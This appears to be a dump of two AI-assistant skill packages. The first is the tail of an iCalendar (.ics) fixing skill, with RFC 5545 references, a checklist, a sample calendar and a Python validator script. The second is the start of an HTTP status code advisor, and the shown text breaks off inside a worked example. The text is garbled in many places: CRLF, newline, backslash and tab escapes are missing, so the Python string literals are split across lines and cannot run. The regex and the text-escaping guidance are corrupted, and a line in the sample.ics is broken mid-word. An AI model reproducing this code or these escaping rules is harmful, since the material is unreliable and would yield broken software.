- **Warnings** often cause wrong behavior in some clients (floating times, TZID without VTIMEZONE, lines over 75 octets, LF-only line endings).
Use `references/ics-fields.md` and `references/recurrence-rules.md` to explain each finding.
### 4. Diagnose the symptom
- Wrong time: check for floating times (no `Z`, no `TZID`), mismatched TZID names, or UTC `Z` added to a local time.
- Missing or extra occurrences: check `RRULE` `UNTIL` vs `DTSTART` type, `COUNT`, `BYDAY`, and `EXDATE` format matching `DTSTART`.
- Duplicates on re-import: check that `UID` is stable and `SEQUENCE` increases on updates.
### 5. Report
Fill `templates/fix-checklist.md`: summary, findings table (severity, line, property, problem, fix), corrected snippet, and re-test steps.
## Rules
- Quote the exact offending line and give a corrected line.
- Do not silently change event times; if a time zone must change, say so and ask.
- Keep `UID` values unchanged when fixing, unless they are missing or duplicated.
- Never include private attendee emails in examples you write back; replace them with placeholders.
FILE:references/ics-fields.md
# iCalendar Fields Reference (RFC 5545 essentials)
## Structure
```
BEGIN:VCALENDAR
VERSION:2.0 (required)
PRODID:-//Org//App//EN (required)
CALSCALE:GREGORIAN (optional, default)
METHOD:PUBLISH (optional; REQUEST/REPLY/CANCEL for invites)
BEGIN:VTIMEZONE ... END:VTIMEZONE (one per TZID used)
BEGIN:VEVENT ... END:VEVENT
BEGIN:VTODO ... END:VTODO
END:VCALENDAR
```
Every `BEGIN:X` needs a matching `END:X` in the right order. `VALARM` lives inside `VEVENT` or `VTODO`.
## VEVENT properties
| Property | Required | Notes |
|---|---|---|
| UID | yes | Globally unique and stable across updates (e.g. `uuid@yourdomain`). |
| DTSTAMP | yes | When this object was created/sent, in UTC: `20261015T070000Z`. |
| DTSTART | yes* | Required unless METHOD is set and the client allows it; always include it. |
| DTEND | no | Must be later than DTSTART. Exclusive end. |
| DURATION | no | e.g. `PT1H30M`, `P1D`. Not allowed together with DTEND. |
| SUMMARY | no | Title shown in calendars. |
| DESCRIPTION, LOCATION | no | Escape `,` `;` `\` and newlines as `\,` `\;` `\` `
`. |
| RRULE | no | Recurrence rule; see recurrence-rules.md. |
| EXDATE / RDATE | no | Excluded / extra dates; same value type and TZID as DTSTART. |
| SEQUENCE | no | Integer; increment on each significant update. |
| STATUS | no | TENTATIVE, CONFIRMED, CANCELLED. |
| ORGANIZER / ATTENDEE | no | `mailto:` URIs with parameters like `CN=` and `PARTSTAT=`. |
## Date and time values
| Form | Example | Meaning |
|---|---|---|
| DATE | `DTSTART;VALUE=DATE:20261020` | All-day; DTEND is the next day (exclusive). |
| UTC DATE-TIME | `DTSTART:20261020T090000Z` | Absolute time in UTC. |
| Local with TZID | `DTSTART;TZID=Europe/Istanbul:20261020T120000` | Wall time in that zone; needs a matching VTIMEZONE for strict clients. |
| Floating | `DTSTART:20261020T120000` | No zone; shows the same wall time everywhere. Usually a bug for meetings. |
Format: `YYYYMMDD` or `YYYYMMDDTHHMMSS` with optional `Z`. Hours 00-23, minutes and seconds 00-59 (60 allowed for leap seconds).
## Line rules
- Lines end with CRLF (`
`).
- Lines longer than 75 octets must be folded: insert CRLF followed by one space or tab; parsers remove CRLF+whitespace when unfolding.
- Property names and parameter names are case-insensitive; values may be case-sensitive.
## DURATION format
`[+/-]P[n]W` or `[+/-]P[n]DT[n]H[n]M[n]S`, e.g. `P1W`, `PT45M`, `P1DT12H`.
FILE:references/recurrence-rules.md
# Recurrence Rules (RRULE) Reference
Syntax: `RRULE:FREQ=WEEKLY;INTERVAL=2;BYDAY=MO,WE;UNTIL=20261231T235959Z`
## Parts
| Part | Values | Notes |
|---|---|---|
| FREQ | SECONDLY, MINUTELY, HOURLY, DAILY, WEEKLY, MONTHLY, YEARLY | Required, exactly once. |
| INTERVAL | positive integer | Default 1. |
| COUNT | positive integer | Number of occurrences, including the first. |
| UNTIL | DATE or DATE-TIME | Inclusive end. Must not be used with COUNT. |
| BYDAY | MO TU WE TH FR SA SU, optional ordinal (`1MO`, `-1FR`) | Ordinals only make sense with MONTHLY or YEARLY. |
| BYMONTHDAY | 1..31 or -31..-1 | `-1` = last day of month. |
| BYMONTH | 1..12 | |
| BYYEARDAY | 1..366 or negative | |
| BYWEEKNO | 1..53 or negative | YEARLY only. |
| BYHOUR / BYMINUTE / BYSECOND | 0..23 / 0..59 / 0..60 | |
| BYSETPOS | 1..366 or negative | e.g. last weekday of month: `BYDAY=MO,TU,WE,TH,FR;BYSETPOS=-1`. |
| WKST | MO..SU | Week start, default MO. |
## UNTIL type rule
- If DTSTART is a DATE, UNTIL must be a DATE.
- If DTSTART has a TZID or is UTC, UNTIL must be UTC (`...Z`).
- If DTSTART is floating, UNTIL must also be floating.
## EXDATE and RDATE
- Must use the same value type and TZID as DTSTART, otherwise clients ignore them.
- Example: `EXDATE;TZID=Europe/Istanbul:20261103T100000`
## Common bugs
1. Both COUNT and UNTIL present (invalid).
2. UNTIL as a local time when DTSTART has a TZID (should be UTC).
3. BYDAY ordinals with WEEKLY (`FREQ=WEEKLY;BYDAY=1MO`) - meaningless.
4. DTSTART that does not match the pattern (DTSTART on Tuesday with `BYDAY=MO`): RFC says DTSTART still counts as the first occurrence, which surprises users.
5. EXDATE in UTC while DTSTART uses TZID: exceptions do not match.
6. Lowercase or misspelled keys (`freq=weekly`, `BYDAYS`). Values should be uppercase.
7. Daylight saving: a recurring 09:00 meeting must use TZID, not UTC, or it shifts by an hour twice a year.
## Examples
- Every weekday at 09:00: `RRULE:FREQ=WEEKLY;BYDAY=MO,TU,WE,TH,FR`
- First Monday monthly, 6 times: `RRULE:FREQ=MONTHLY;BYDAY=1MO;COUNT=6`
- Last day of each month: `RRULE:FREQ=MONTHLY;BYMONTHDAY=-1`
- Every other Friday until year end: `RRULE:FREQ=WEEKLY;INTERVAL=2;BYDAY=FR;UNTIL=20261231T210000Z`
FILE:templates/fix-checklist.md
# ICS Fix Checklist and Report
## Summary
- File: `<name.ics>`
- Produced by: `<app or script>` | Fails in: `<client>`
- Symptom: `<import error / wrong time / missing occurrences / duplicates>`
- Result: `<N errors, M warnings>`
## Checklist
- [ ] File starts with `BEGIN:VCALENDAR` and ends with `END:VCALENDAR`
- [ ] All BEGIN/END pairs balanced and correctly nested
- [ ] `VERSION:2.0` and `PRODID` present once in VCALENDAR
- [ ] Each VEVENT has `UID`, `DTSTAMP`, `DTSTART`
- [ ] UIDs are unique within the file and stable across updates
- [ ] DTEND later than DTSTART, and not combined with DURATION
- [ ] Date-time values valid (`YYYYMMDD` / `YYYYMMDDTHHMMSS[Z]`)
- [ ] All-day events use `VALUE=DATE` on both DTSTART and DTEND
- [ ] Every TZID used has a VTIMEZONE (or an IANA name the target client accepts)
- [ ] No unintended floating times
- [ ] RRULE has FREQ; no COUNT with UNTIL; UNTIL type matches DTSTART
- [ ] EXDATE/RDATE match DTSTART value type and TZID
- [ ] Text values escape `,` `;` `\` and newlines
- [ ] CRLF line endings; lines over 75 octets folded
- [ ] SEQUENCE increments when an existing event is updated
## Findings
| # | Severity | Line | Property | Problem | Fix |
|---|---|---|---|---|---|
| 1 | error | | | | |
## Corrected snippet
```
<fixed lines>
```
## Re-test
1. Run `python3 scripts/check_ics.py <file>` and confirm 0 errors.
2. Import into a test calendar in the failing client.
3. Check the first occurrence, one middle occurrence, and the last occurrence times.
FILE:examples/sample.ics
BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//Example Co//Team Calendar 1.0//EN
CALSCALE:GREGORIAN
METHOD:PUBLISH
BEGIN:VTIMEZONE
TZID:Europe/Istanbul
BEGIN:STANDARD
DTSTART:19700101T000000
TZOFFSETFROM:+0300
TZOFFSETTO:+0300
TZNAME:+03
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
UID:kickoff-20261020@example.com
DTSTAMP:20261015T070000Z
DTSTART;TZID=Europe/Istanbul:20261020T100000
DTEND;TZID=Europe/Istanbul:20261020T113000
SUMMARY:Project kickoff
LOCATION:Room 4\, Second Floor
DESCRIPTION:Agenda: goals\, roles\, and first milestones.
Bring lapt
ops.
STATUS:CONFIRMED
SEQUENCE:0
END:VEVENT
BEGIN:VEVENT
UID:weekly-sync-2026@example.com
DTSTAMP:20261015T070000Z
DTSTART;TZID=Europe/Istanbul:20261022T093000
DURATION:PT30M
RRULE:FREQ=WEEKLY;BYDAY=TH;UNTIL=20261231T063000Z
EXDATE;TZID=Europe/Istanbul:20261126T093000
SUMMARY:Weekly team sync
BEGIN:VALARM
ACTION:DISPLAY
DESCRIPTION:Weekly team sync in 10 minutes
TRIGGER:-PT10M
END:VALARM
END:VEVENT
BEGIN:VEVENT
UID:offsite-2026@example.com
DTSTAMP:20261015T070000Z
DTSTART;VALUE=DATE:20261106
DTEND;VALUE=DATE:20261108
SUMMARY:Team offsite (all day)
END:VEVENT
END:VCALENDAR
FILE:scripts/check_ics.py
#!/usr/bin/env python3
"""Validate an iCalendar (.ics) file against RFC 5545 basics.
Usage:
python3 check_ics.py FILE.ics [--json]
python3 check_ics.py --self-test
Exit codes: 0 = no errors, 1 = errors found, 2 = usage / read error.
Python 3 standard library only.
"""
import argparse
import datetime as dt
import json
import re
import sys
DATE_RE = re.compile(r"^\d{8}$")
DATETIME_RE = re.compile(r"^\d{8}T\d{6}Z?$")
DURATION_RE = re.compile(r"^[+-]?P(\d+W|(\d+D)?(T(\d+H)?(\d+M)?(\d+S)?)?)$")
FREQS = {"SECONDLY", "MINUTELY", "HOURLY", "DAILY", "WEEKLY", "MONTHLY", "YEARLY"}
DAYS = {"MO", "TU", "WE", "TH", "FR", "SA", "SU"}
RRULE_KEYS = {"FREQ", "UNTIL", "COUNT", "INTERVAL", "BYSECOND", "BYMINUTE", "BYHOUR",
"BYDAY", "BYMONTHDAY", "BYYEARDAY", "BYWEEKNO", "BYMONTH", "BYSETPOS", "WKST"}
EVENT_LIKE = {"VEVENT", "VTODO", "VJOURNAL"}
class Report:
def __init__(self):
self.items = []
def add(self, severity, line, prop, message):
self.items.append({"severity": severity, "line": line, "property": prop, "message": message})
def error(self, line, prop, msg):
self.add("error", line, prop, msg)
def warn(self, line, prop, msg):
self.add("warning", line, prop, msg)
@property
def errors(self):
return [i for i in self.items if i["severity"] == "error"]
@property
def warnings(self):
return [i for i in self.items if i["severity"] == "warning"]
def unfold(raw, rep):
"""Return list of (line_no, logical_line). Checks line endings and length."""
if "
" not in raw and "
" in raw:
rep.warn(1, None, "Lines end with LF only; RFC 5545 requires CRLF (most clients tolerate LF).")
physical = raw.replace("
", "
").split("
")
logical = []
for n, line in enumerate(physical, start=1):
if len(line.encode("utf-8")) > 75:
rep.warn(n, None, f"Line is {len(line.encode('utf-8'))} octets; fold lines longer than 75 octets.")
if line[:1] in (" ", " ") and logical:
ln, text = logical[-1]
logical[-1] = (ln, text + line[1:])
elif line == "":
continue
else:
logical.append((n, line))
return logical
def split_prop(line):
"""Split 'NAME;PARAM=V:VALUE' into (NAME, {params}, value). Handles quoted params."""
in_q = False
for i, ch in enumerate(line):
if ch == '"':
in_q = not in_q
elif ch == ":" and not in_q:
head, value = line[:i], line[i + 1:]
break
else:
return None
parts = re.split(r';(?=(?:[^"]*"[^"]*")*[^"]*$)', head)
name = parts[0].upper()
params = {}
for p in parts[1:]:
if "=" in p:
k, v = p.split("=", 1)
params[k.upper()] = v.strip('"')
return name, params, value
def parse_dt(value, params):
"""Return (kind, datetime|None) where kind is DATE, UTC, LOCAL, FLOATING or BAD."""
if params.get("VALUE", "").upper() == "DATE" or DATE_RE.match(value):
if not DATE_RE.match(value):
return "BAD", None
try:
return "DATE", dt.datetime.strptime(value, "%Y%m%d")
except ValueError:
return "BAD", None
if not DATETIME_RE.match(value):
return "BAD", None
try:
d = dt.datetime.strptime(value.rstrip("Z"), "%Y%m%dT%H%M%S")
except ValueError:
return "BAD", None
if value.endswith("Z"):
return "UTC", d
return ("LOCAL" if "TZID" in params else "FLOATING"), d
def check_rrule(value, ln, start_kind, rep):
parts = {}
for chunk in value.split(";"):
if "=" not in chunk:
rep.error(ln, "RRULE", f"Malformed part '{chunk}' (expected KEY=VALUE).")
continue
k, v = chunk.split("=", 1)
if k != k.upper():
rep.warn(ln, "RRULE", f"Key '{k}' should be uppercase.")
k = k.upper()
if k in parts:
rep.error(ln, "RRULE", f"Part {k} appears more than once.")
if k not in RRULE_KEYS:
rep.error(ln, "RRULE", f"Unknown part '{k}'.")
parts[k] = v.upper()
freq = parts.get("FREQ")
if not freq:
rep.error(ln, "RRULE", "FREQ is required.")
elif freq not in FREQS:
rep.error(ln, "RRULE", f"Invalid FREQ '{freq}'.")
if "COUNT" in parts and "UNTIL" in parts:
rep.error(ln, "RRULE", "COUNT and UNTIL must not both be present.")
for key in ("COUNT", "INTERVAL"):
if key in parts and not (parts[key].isdigit() and int(parts[key]) > 0):
rep.error(ln, "RRULE", f"{key} must be a positive integer.")
if "BYDAY" in parts:
for d in parts["BYDAY"].split(","):
m = re.match(r"^([+-]?\d{1,2})?(MO|TU|WE|TH|FR|SA|SU)$", d)
if not m:
rep.error(ln, "RRULE", f"Invalid BYDAY value '{d}'.")
elif m.group(1) and freq not in ("MONTHLY", "YEARLY"):
rep.warn(ln, "RRULE", f"BYDAY ordinal '{d}' only makes sense with MONTHLY or YEARLY.")
for key, lo, hi in (("BYMONTH", 1, 12), ("BYMONTHDAY", 1, 31), ("BYHOUR", 0, 23), ("BYMINUTE", 0, 59)):
if key in parts:
for v in parts[key].split(","):
try:
n = int(v)
except ValueError:
rep.error(ln, "RRULE", f"{key} value '{v}' is not an integer.")
continue
ok = lo <= abs(n) <= hi if key == "BYMONTHDAY" else lo <= n <= hi
if not ok:
rep.error(ln, "RRULE", f"{key} value {n} out of range.")
if "WKST" in parts and parts["WKST"] not in DAYS:
rep.error(ln, "RRULE", f"Invalid WKST '{parts['WKST']}'.")
if "UNTIL" in parts:
ukind, _ = parse_dt(parts["UNTIL"], {})
if ukind == "BAD":
rep.error(ln, "RRULE", f"UNTIL '{parts['UNTIL']}' is not a valid DATE or DATE-TIME.")
elif start_kind == "DATE" and ukind != "DATE":
rep.error(ln, "RRULE", "DTSTART is a DATE, so UNTIL must be a DATE too.")
elif start_kind in ("LOCAL", "UTC") and ukind != "UTC":
rep.error(ln, "RRULE", "DTSTART has a TZID or is UTC, so UNTIL must be UTC (ending in Z).")
def validate(text):
rep = Report()
lines = unfold(text, rep)
if not lines:
rep.error(1, None, "File is empty.")
return rep
if lines[0][1].upper() != "BEGIN:VCALENDAR":
rep.error(lines[0][0], None, "File must start with BEGIN:VCALENDAR.")
stack = []
comps = [] # list of dicts: name, line, props: list of (ln, name, params, value)
tzids_defined, tzids_used, uids = set(), [], {}
for ln, line in lines:
parsed = split_prop(line)
if parsed is None:
rep.error(ln, None, f"Not a valid content line (missing ':'): {line[:40]!r}")
continue
name, params, value = parsed
if name == "BEGIN":
comp = {"name": value.upper(), "line": ln, "props": []}
stack.append(comp)
continue
if name == "END":
if not stack:
rep.error(ln, "END", f"END:{value} without matching BEGIN.")
continue
comp = stack.pop()
if comp["name"] != value.upper():
rep.error(ln, "END", f"END:{value} does not match BEGIN:{comp['name']} (line {comp['line']}).")
comps.append(comp)
continue
if not stack:
rep.error(ln, name, "Property outside any component.")
continue
stack[-1]["props"].append((ln, name, params, value))
if "TZID" in params:
tzids_used.append((ln, params["TZID"]))
if name == "TZID" and stack[-1]["name"] == "VTIMEZONE":
tzids_defined.add(value)
for comp in stack:
rep.error(comp["line"], "BEGIN", f"BEGIN:{comp['name']} is never closed.")
for comp in comps:
props = {}
for ln, name, params, value in comp["props"]:
props.setdefault(name, []).append((ln, params, value))
cname = comp["name"]
if cname == "VCALENDAR":
for req in ("VERSION", "PRODID"):
if req not in props:
rep.error(comp["line"], req, f"VCALENDAR is missing required {req}.")
elif len(props[req]) > 1:
rep.error(props[req][1][0], req, f"{req} must appear only once.")
if "VERSION" in props and props["VERSION"][0][2] != "2.0":
rep.error(props["VERSION"][0][0], "VERSION", "VERSION must be 2.0.")
if cname in EVENT_LIKE:
for req in ("UID", "DTSTAMP"):
if req not in props:
rep.error(comp["line"], req, f"{cname} is missing required {req}.")
if cname == "VEVENT" and "DTSTART" not in props:
rep.error(comp["line"], "DTSTART", "VEVENT is missing DTSTART.")
if "UID" in props:
uid = props["UID"][0][2]
if uid in uids:
rep.error(props["UID"][0][0], "UID", f"Duplicate UID '{uid}' (also line {uids[uid]}).")
else:
uids[uid] = props["UID"][0][0]
if "DTSTAMP" in props:
ln, params, value = props["DTSTAMP"][0]
kind, _ = parse_dt(value, params)
if kind != "UTC":
rep.error(ln, "DTSTAMP", "DTSTAMP must be a UTC DATE-TIME ending in Z.")
start_kind, start = None, None
for key in ("DTSTART", "DTEND", "DUE"):
if key not in props:
continue
ln, params, value = props[key][0]
kind, val = parse_dt(value, params)
if kind == "BAD":
rep.error(ln, key, f"Invalid date or date-time value '{value}'.")
continue
if kind == "FLOATING":
rep.warn(ln, key, "Floating time (no Z and no TZID): shows the same wall time in every zone.")
if key == "DTSTART":
start_kind, start = kind, val
elif start is not None:
if (kind == "DATE") != (start_kind == "DATE"):
rep.error(ln, key, f"{key} and DTSTART must both be DATE or both DATE-TIME.")
elif kind == start_kind and val <= start:
rep.error(ln, key, f"{key} must be later than DTSTART.")
if "DTEND" in props and "DURATION" in props:
rep.error(props["DURATION"][0][0], "DURATION", "DTEND and DURATION must not both be present.")
if "DURATION" in props:
ln, _, value = props["DURATION"][0]
if not DURATION_RE.match(value) or value.rstrip("+-") in ("P", "PT"):
rep.error(ln, "DURATION", f"Invalid DURATION '{value}' (e.g. PT1H30M, P1D).")
if "RRULE" in props:
ln, _, value = props["RRULE"][0]
check_rrule(value, ln, start_kind, rep)
if len(props["RRULE"]) > 1:
rep.warn(props["RRULE"][1][0], "RRULE", "Multiple RRULEs are deprecated; many clients use only the first.")
for key in ("EXDATE", "RDATE"):
for ln, params, value in props.get(key, []):
for v in value.split(","):
kind, _ = parse_dt(v, params)
if kind == "BAD":
rep.error(ln, key, f"Invalid value '{v}'.")
elif start_kind and kind != start_kind:
rep.warn(ln, key, f"{key} value type ({kind}) differs from DTSTART ({start_kind}); clients may ignore it.")
if "SEQUENCE" in props and not props["SEQUENCE"][0][2].isdigit():
rep.error(props["SEQUENCE"][0][0], "SEQUENCE", "SEQUENCE must be a non-negative integer.")
for key in ("SUMMARY", "DESCRIPTION", "LOCATION"):
for ln, _, value in props.get(key, []):
if re.search(r"(?<!\)[,;]", value):
rep.warn(ln, key, "Unescaped ',' or ';' in text; escape as '\,' and '\;'.")
if not any(c["name"] in EVENT_LIKE for c in comps):
rep.warn(1, None, "Calendar contains no VEVENT, VTODO, or VJOURNAL.")
for ln, tz in tzids_used:
if tz not in tzids_defined:
rep.warn(ln, "TZID", f"TZID '{tz}' has no VTIMEZONE in this file; strict clients (e.g. Outlook) may misplace it.")
return rep
BROKEN = (
"BEGIN:VCALENDAR
PRODID:-//Test//EN
BEGIN:VEVENT
DTSTAMP:20261015T070000
"
"DTSTART:20261020T100000Z
DTEND:20261020T090000Z
DURATION:PT1H
"
"RRULE:FREQ=WEEKLY;COUNT=5;UNTIL=20261201T000000Z;BYDAY=XX
SUMMARY:Bad, event
"
"END:VEVENT
BEGIN:VEVENT
UID:a@x
DTSTAMP:20261015T070000Z
"
"DTSTART;TZID=Mars/Olympus:20261020T100000
END:VTODO
END:VCALENDAR
"
)
GOOD = (
"BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//Test//EN
BEGIN:VEVENT
UID:ok@x
"
"DTSTAMP:20261015T070000Z
DTSTART:20261020T070000Z
DTEND:20261020T080000Z
"
"RRULE:FREQ=MONTHLY;BYDAY=1MO;COUNT=3
SUMMARY:Fine
END:VEVENT
END:VCALENDAR
"
)
def self_test():
good = validate(GOOD)
bad = validate(BROKEN)
msgs = " | ".join(i["message"] for i in bad.items)
checks = [
("good file has no errors", not good.errors),
("missing VERSION", "missing required VERSION" in msgs),
("missing UID", "missing required UID" in msgs),
("DTSTAMP not UTC", "DTSTAMP must be a UTC" in msgs),
("DTEND before DTSTART", "must be later than DTSTART" in msgs),
("DTEND with DURATION", "must not both be present" in msgs),
("COUNT with UNTIL", "COUNT and UNTIL" in msgs),
("bad BYDAY", "Invalid BYDAY" in msgs),
("unescaped comma", "Unescaped" in msgs),
("mismatched END", "does not match BEGIN" in msgs),
("unknown TZID warning", "Mars/Olympus" in msgs),
]
failed = 0
for label, ok in checks:
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {label}")
print(f"
{len(checks) - failed}/{len(checks)} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Validate an iCalendar (.ics) file.")
p.add_argument("file", nargs="?", help="Path to .ics file ('-' for stdin)")
p.add_argument("--json", action="store_true", help="Output JSON")
p.add_argument("--self-test", action="store_true", help="Run built-in tests")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
p.error("file is required (or use --self-test)")
try:
if a.file == "-":
text = sys.stdin.read()
else:
with open(a.file, "r", encoding="utf-8", newline="") as fh:
text = fh.read()
except (OSError, UnicodeDecodeError) as exc:
print(f"Cannot read {a.file}: {exc}", file=sys.stderr)
return 2
rep = validate(text)
if a.json:
print(json.dumps({"errors": len(rep.errors), "warnings": len(rep.warnings), "findings": rep.items}, indent=2))
else:
for i in sorted(rep.items, key=lambda x: (x["line"], x["severity"])):
prop = f" {i['property']}" if i["property"] else ""
print(f"line {i['line']:>4} {i['severity'].upper():7}{prop}: {i['message']}")
print(f"
{len(rep.errors)} error(s), {len(rep.warnings)} warning(s)")
return 1 if rep.errors else 0
if __name__ == "__main__":
sys.exit(main())---
name: http-status-code-advisor
description: Picks the correct HTTP status code for an API response from a plain description of what happened (created, validation failed, not found, conflict, rate limited, upstream down) and explains why, with common mistakes to avoid. Use when designing REST endpoints, reviewing API error handling, or asking "should this be 400, 404, 409, or 422?". Includes a stdlib Python suggester.
---
# HTTP Status Code Advisor
You help API designers and reviewers choose the HTTP status code that best matches what actually happened during a request. You reason from the request method, the outcome, and who is at fault (client, server, or upstream), and you prefer the most specific standard code that clients can act on. You follow RFC 9110 semantics and do not invent non-standard codes.
## Files in this skill
- `scripts/suggest_status.py` - maps a short scenario description (keywords plus method) to a recommended code, alternatives, and a one-line reason (Python 3 standard library only)
- `references/status-cheatsheet.md` - the codes that matter for APIs, grouped by class, with when to use each
- `references/common-mistakes.md` - frequent misuses (200 with an error body, 401 vs 403, 404 for empty lists, 500 for validation)
- `templates/decision-tree.md` - a step-by-step question flow to reach a code
- `examples/api-scenarios.md` - worked scenarios with the chosen code and response shape
## Workflow
### 1. Collect the facts
Ask for, or infer from the code or description:
- HTTP method and endpoint (e.g. `POST /orders`)
- What happened: success, partial success, async accepted, input problem, auth problem, missing resource, state conflict, rate limit, server or dependency failure
- Whether a response body is returned, and whether a new resource was created
- Any existing API conventions the team already follows
### 2. Walk the decision tree
Use `templates/decision-tree.md`. Decide the class first (2xx, 3xx, 4xx, 5xx), then the specific code. Who caused the failure decides 4xx vs 5xx.
### 3. Run the helper (optional)
```
python3 scripts/suggest_status.py --method POST "created new order"
python3 scripts/suggest_status.py --method GET "user not logged in"
python3 scripts/suggest_status.py --json "email already exists"
```
Treat the script as a first guess; confirm against the cheatsheet.
### 4. Check for mistakes
Compare the choice against `references/common-mistakes.md`, especially 401 vs 403, 400 vs 422, and 404 vs an empty 200 list.
### 5. Answer
Return:
1. **Recommended code** and reason phrase (e.g. `409 Conflict`)
2. **Why** in one or two sentences, tied to the facts
3. **Alternatives** considered and why they lose
4. **Headers to include** when relevant (`Location` for 201, `Retry-After` for 429/503, `WWW-Authenticate` for 401, `Allow` for 405)
5. **Error body sketch** using RFC 9457 Problem Details (`type`, `title`, `status`, `detail`, `instance`) for 4xx/5xx
## Rules
- Never return 2xx for a failed operation.
- Use 5xx only when the server or an upstream it depends on failed, never for bad client input.
- Keep consistency with the team's existing conventions if they are reasonable; mention the standard choice once if they differ.
- If security requires hiding a resource's existence, say so explicitly when recommending 404 over 403.
FILE:references/common-mistakes.md
# Common Status Code Mistakes
1. **200 with an error body** (`{"success": false}`). Clients, proxies, caches, and monitoring treat 200 as success. Use the right 4xx/5xx and put details in the body.
2. **401 vs 403 confusion.** 401 means "who are you?" (missing or bad credentials). 403 means "I know who you are, and the answer is no." A logged-in user without permission gets 403, not 401.
3. **500 for bad input.** Validation failures are the client's fault: 400 or 422. Reserve 500 for bugs and unexpected server failures. A spike in 500s should mean something is broken on your side.
4. **404 for an empty collection.** `GET /users?role=admin` with no matches is `200` with `[]`. 404 is for a missing resource such as `/users/9999`.
5. **400 for everything.** Prefer the specific code when it helps clients act: 409 for duplicates, 413 for oversize, 415 for wrong content type, 429 for rate limits.
6. **201 without `Location`.** When you create a resource with its own URL, send `Location: /orders/123`.
7. **204 with a body.** 204 must not include content. If you return the resource, use 200.
8. **302 in APIs.** Clients may change POST to GET. Use 307 or 308 when the method must be preserved.
9. **503 vs 500.** 503 means temporary and retryable (maintenance, overload), ideally with `Retry-After`. 500 means an unexpected error.
10. **Leaking existence with 403.** For private resources, returning 404 to unauthorized users can prevent enumeration. Decide deliberately and document it.
11. **Using 422 and 400 inconsistently.** Pick one rule (400 = cannot parse, 422 = parsed but invalid) and apply it on every endpoint.
12. **Non-standard codes** (e.g. 418 in production, 499, custom 6xx). Many clients and proxies handle them poorly. Stick to registered codes.
FILE:references/status-cheatsheet.md
# HTTP Status Cheatsheet for APIs
Based on RFC 9110 (HTTP Semantics), RFC 6585 (429), and RFC 9457 (Problem Details).
## 2xx Success
| Code | Name | Use when |
|---|---|---|
| 200 | OK | The request succeeded and the body contains the result (GET, or PUT/PATCH returning the updated resource). |
| 201 | Created | A new resource was created. Send `Location` with its URL; body usually contains the resource. |
| 202 | Accepted | Work was queued and will finish later. Return a status URL or job id. |
| 204 | No Content | Success with no body (DELETE, or PUT/PATCH when you return nothing). |
| 206 | Partial Content | Serving a byte range in response to a `Range` header. |
## 3xx Redirection
| Code | Name | Use when |
|---|---|---|
| 301 | Moved Permanently | Resource has a new permanent URL (method may change to GET on old clients). |
| 304 | Not Modified | Conditional GET (`If-None-Match` / `If-Modified-Since`) and nothing changed. |
| 307 | Temporary Redirect | Temporary move; client must repeat the same method and body. |
| 308 | Permanent Redirect | Permanent move; same method and body preserved. |
## 4xx Client errors
| Code | Name | Use when |
|---|---|---|
| 400 | Bad Request | Malformed syntax: invalid JSON, wrong content shape, missing required query param. |
| 401 | Unauthorized | No credentials or invalid/expired credentials. Send `WWW-Authenticate`. |
| 403 | Forbidden | Authenticated, but not allowed to do this. |
| 404 | Not Found | The resource does not exist (or you hide that it exists). |
| 405 | Method Not Allowed | The URL exists but not for this method. Send `Allow`. |
| 406 | Not Acceptable | Cannot produce any format listed in `Accept`. |
| 409 | Conflict | Request conflicts with current state: duplicate unique key, version conflict, invalid state transition. |
| 410 | Gone | Resource existed and was permanently removed. |
| 412 | Precondition Failed | `If-Match` / `If-Unmodified-Since` failed (optimistic locking). |
| 413 | Content Too Large | Body exceeds the size limit. |
| 415 | Unsupported Media Type | `Content-Type` not supported. |
| 422 | Unprocessable Content | Syntax is fine but values fail validation (bad email, end date before start date). |
| 428 | Precondition Required | Server requires a conditional request to prevent lost updates. |
| 429 | Too Many Requests | Rate limit exceeded. Send `Retry-After`. |
## 5xx Server errors
| Code | Name | Use when |
|---|---|---|
| 500 | Internal Server Error | Unexpected failure in your code. |
| 501 | Not Implemented | The server does not support this functionality at all. |
| 502 | Bad Gateway | An upstream returned an invalid response. |
| 503 | Service Unavailable | Temporarily overloaded or in maintenance. Send `Retry-After` if known. |
| 504 | Gateway Timeout | An upstream did not respond in time. |
FILE:templates/decision-tree.md
# Status Code Decision Tree
Answer in order. Stop at the first match.
1. **Did the request succeed?**
- Yes, work finished and a new resource exists -> **201** (+ `Location`)
- Yes, work accepted but finishes later -> **202** (+ status URL)
- Yes, nothing to return -> **204**
- Yes, returning data -> **200**
- No -> go to 2
2. **Is the client being redirected?**
- Conditional GET, unchanged -> **304**
- Moved, must keep the method -> **307** (temporary) / **308** (permanent)
- No -> go to 3
3. **Is it an authentication problem?**
- No credentials, or invalid / expired token -> **401** (+ `WWW-Authenticate`)
- No -> go to 4
4. **Is the authenticated caller not allowed?**
- Yes, and existence can be revealed -> **403**
- Yes, but existence must be hidden -> **404**
- No -> go to 5
5. **Is the target missing or the method wrong?**
- Resource does not exist -> **404**
- Resource removed permanently -> **410**
- URL exists, method unsupported -> **405** (+ `Allow`)
- No -> go to 6
6. **Is the request itself unusable?**
- Cannot parse (bad JSON, wrong types) -> **400**
- Wrong `Content-Type` -> **415**
- Body too large -> **413**
- Cannot satisfy `Accept` -> **406**
- No -> go to 7
7. **Is the input valid but rejected?**
- Fails business validation -> **422**
- Conflicts with current state (duplicate, version, state machine) -> **409**
- `If-Match` precondition failed -> **412**
- Too many requests -> **429** (+ `Retry-After`)
- No -> go to 8
8. **Server side failure**
- Upstream returned garbage -> **502**
- Upstream timed out -> **504**
- Temporarily unavailable / maintenance -> **503** (+ `Retry-After`)
- Feature not supported at all -> **501**
- Unexpected bug -> **500**
## Answer template
```
Recommended: <code> <reason phrase>
Why: <1-2 sentences>
Alternatives: <code> - <why not>; <code> - <why not>
Headers: <header: value>
Body (Problem Details):
{
"type": "https://example.com/problems/<slug>",
"title": "<short title>",
"status": <code>,
"detail": "<specific explanation>",
"instance": "<request path or id>"
}
```
FILE:examples/api-scenarios.md
# Worked API Scenarios
## 1. Sign-up with an email that already exists
`POST /users` with `{"email": "ana@example.com"}` and that email is taken.
- **Recommended:** 409 Conflict
- **Why:** The input is well-formed and valid, but it conflicts with existing state (a unique key).
- **Alternatives:** 422 (works if your team uses 422 for all rule failures, but 409 tells the client the specific problem is state); 400 (too vague).
- **Body:**
```json
